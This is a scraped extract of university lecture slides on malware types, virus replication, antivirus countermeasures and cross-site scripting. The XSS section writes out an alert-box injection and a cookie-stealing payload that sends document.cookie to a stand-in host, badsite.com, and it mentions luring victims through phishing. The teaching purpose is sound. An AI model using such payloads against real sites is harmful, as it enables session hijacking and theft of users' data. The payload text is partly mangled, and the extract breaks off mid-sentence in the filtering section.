Malware and Cross Site Scripting

Chapter 13 Malware and Cross Site Scripting Information Security/System Security – p. 557/590 Introduction Malicious code, or malware, has been ar...
Author: Winifred Flynn
1 downloads 1 Views 72KB Size
Chapter 13

Malware and Cross Site Scripting

Information Security/System Security – p. 557/590

Introduction Malicious code, or malware, has been around for some time (started on time-sharing machines in the 1960s) Depending on the malware, tries to achieve different goals: Collect (sensitive) data Disrupt the availability of a system Attempt to gain access to a system May be used for different purposes, e.g.: Use information for committing fraud Blackmail someone Integrate a machine into a botnet

Information Security/System Security – p. 558/590

Introduction (2) Technologies such as JavaScript allow developers to create more interactive web sites However, this technology also has a downside It introduces new vulnerabilities into web applications The most well-known vulnerabilities are called cross site scripting (XSS) Started out by crossing boundaries between different HTML frames or web sites

Information Security/System Security – p. 559/590

Different Kinds of Malware First, we’ll have a brief look at malware There are several different kinds of malware: Trojan: a program that has a malicious side effect when run by a user For example, a game that tries to capture passwords or other sensitive information Worm: something that replicates One of the first worms was written at Xerox PARC: a program looking for idle processors assigning them tasks

Information Security/System Security – p. 560/590

Different Kinds of Malware (2) Different kinds (cont’d): Virus: basically a worm which replicates by attaching itself to files An early example was the IBM BITNET Christma virus Rootkits: a piece of software that (once installed) seizes control of a system, tries to obscure the fact that it is installed An example is Vanquish, a rootkit that hides files, folders, registry entries and logs passwords.

Information Security/System Security – p. 561/590

How Viruses (and Worms) Work A virus typically has two parts: a replication mechanism and a payload The most common way for a virus to replicate is to append itself to an executable file and patch itself in: The execution path jumps to the virus code and then back to the original program

Program

Virus

Viruses used to be restricted to executable files in operating systems, but have spread to other interpreted languages (e.g. Word macros) Information Security/System Security – p. 562/590

How Viruses (and Worms) Work (2) The second component of a virus is the payload This will usually be activated by a trigger, such as a date, and then do a number of bad things: Make selective (or random) changes to the machine’s protection state Make changes to user data Lock the network Install spyware or adware Install a rootkit

Information Security/System Security – p. 563/590

Countermeasures Two common approaches for antivirus software are scanners and checksummers Scanners search executables for certain byte patterns known to be a virus A counter-counter is polymorphism, the virus changes form every time it is copied This can be done by encrypting the virus with a simple cipher and using a different key each time Decryption algorithm and key are also attached

Information Security/System Security – p. 564/590

Countermeasures (2) Checksummers keep a list of all executables in the system together with checksums (or fingerprints) of the original versions A counter-counter is a virus watching for operating system calls used by checksummers and then go into hiding Unfortunately, antivirus software seems to become less effective Programmers of viruses and rootkits become more sophisticated and test against antivirus software

Information Security/System Security – p. 565/590

XSS Basically, XSS is about forcing a web site to show malicious code, which is then executed by the client There are a couple of way how this can happen: The site owner is malicious and puts malicious JavaScript code there Someone else managed to deploy it on a site (via some other vulnerability) Injected into a public area of a site (e.g. in a post) In form of a specially crafted link

Information Security/System Security – p. 566/590

Example Can be as simple as the following code snippet: ... ... ...

If you manage to deploy something like this, you’re in the game

Information Security/System Security – p. 567/590

Specially crafted URLs There are also non-persistent ways of doing this For example, with an input field that is echoed back at the user Similar to SQL injection, we can inject JavaScript code For example, entering ">alert(’Gotcha’)

will execute JavaScript code that opens an alert window

Information Security/System Security – p. 568/590

Specially crafted URLs (2) Submitting code in a form will create the following URL: http://server.com/form?input= %22%3E%3Cscript%3E alert%28%27Gotcha%27%29 %3C%2Fscript%3E&submit=send

Opening a dialog box is harmless, but we can also enter malicious code For example, for stealing a cookie

Information Security/System Security – p. 569/590

Specially crafted URLs (3) Entering the following into a form (all in one string without spaces and line breaks): ">var+img:new+Image(); img.src:"http://badsite.com/" %20+%20document,cookie;

will create a DOM object, access cookie data, and ship it to http://badsite.com If we can get a user to click on the above link (e.g. via phishing), we can steal cookie data

Information Security/System Security – p. 570/590

Specially crafted URLs (4) There are variations of this attack This is done via fragment data, which is not sent to the server This can be done with the # symbol, which indicates to which point of a document to jump to Nevertheless, this is still about executing malicious JavaScript code

Information Security/System Security – p. 571/590

Preventing XSS So, what can we do to prevent XSS attacks? There are a couple of things: Filtering Protecting your browser Checking vulnerabilities with tools

Information Security/System Security – p. 572/590

Filtering Always sanitize user input, i.e., apply input filtering Similar to SQL, do not pass user input directly to an application Sometimes easier said than done For example, just stripping out

Suggest Documents